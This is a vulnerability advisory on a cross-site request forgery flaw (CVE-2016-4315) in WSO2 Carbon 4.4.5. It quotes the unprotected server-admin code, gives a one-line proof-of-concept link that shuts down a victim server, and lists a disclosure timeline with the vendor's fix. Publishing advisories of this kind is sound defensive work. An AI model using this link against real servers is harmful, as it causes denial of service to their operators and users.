WSO2 Carbon 4.4.5 Cross Site Request Forgery / Denial Of Service

`[+] Credits: John Page aka HYP3RLINX  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/WSO2-CARBON-v4.4.5-CSRF-DOS.txt  
  
[+] ISR: ApparitionSec  
  
  
Vendor:  
============  
www.wso2.com  
  
  
  
Product:  
==================  
Ws02Carbon v4.4.5  
  
WSO2 Carbon is the core platform on which WSO2 middleware products are  
built. It is based on Java OSGi technology, which allows  
components to be dynamically installed, started, stopped, updated, and  
uninstalled, and it eliminates component version conflicts.  
In Carbon, this capability translates into a solid core of common  
middleware enterprise components, including clustering, security,  
logging, and monitoring, plus the ability to add components for specific  
features needed to solve a specific enterprise scenario.  
  
  
  
Vulnerability Type:  
=================================  
Cross Site Request Forgery / DOS  
  
  
  
CVE Reference:  
==============  
CVE-2016-4315  
  
  
  
  
Vulnerability Details:  
=====================  
  
The attack involves tricking a privileged user to initiate a request by  
clicking a malicious link or visiting an evil webpage to  
shutdown WSO2 Servers.  
  
  
References:  
https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2016-0101  
  
  
The getSafeText() Function and conditional logic below processes the  
"action" parameter with no check for inbound CSRF attacks.  
  
String cookie = (String)  
session.getAttribute(ServerConstants.ADMIN_SERVICE_COOKIE);  
String action =  
CharacterEncoder.getSafeText(request.getParameter("action"));  
ServerAdminClient client = new ServerAdminClient(ctx, backendServerURL,  
cookie, session);  
  
try {  
if ("restart".equals(action)) {  
client.restart();  
} else if ("restartGracefully".equals(action)) {  
client.restartGracefully();  
} else if ("shutdown".equals(action)) {  
client.shutdown();  
} else if ("shutdownGracefully".equals(action)) {  
client.shutdownGracefully();  
}  
} catch (Exception e) {  
response.sendError(500, e.getMessage());  
return;  
}  
  
  
  
Exploit code(s):  
===============  
  
Shutdown the Carbon server  
  
<a href="  
https://victim-server:9443/carbon/server-admin/proxy_ajaxprocessor.jsp?action=shutdown">Shut  
it down!</a>  
  
  
  
Disclosure Timeline:  
==========================================  
Vendor Notification: May 6, 2016  
Vendor Acknowledgement: May 6, 2016  
Vendor Fix / Customer Alerts: June 30, 2016  
August 12, 2016 : Public Disclosure  
  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
  
Severity Level:  
================  
Medium  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no  
warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the  
information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author  
prohibits any malicious use of security related information  
or exploits by the author or elsewhere.  
  
HYP3RLINX  
`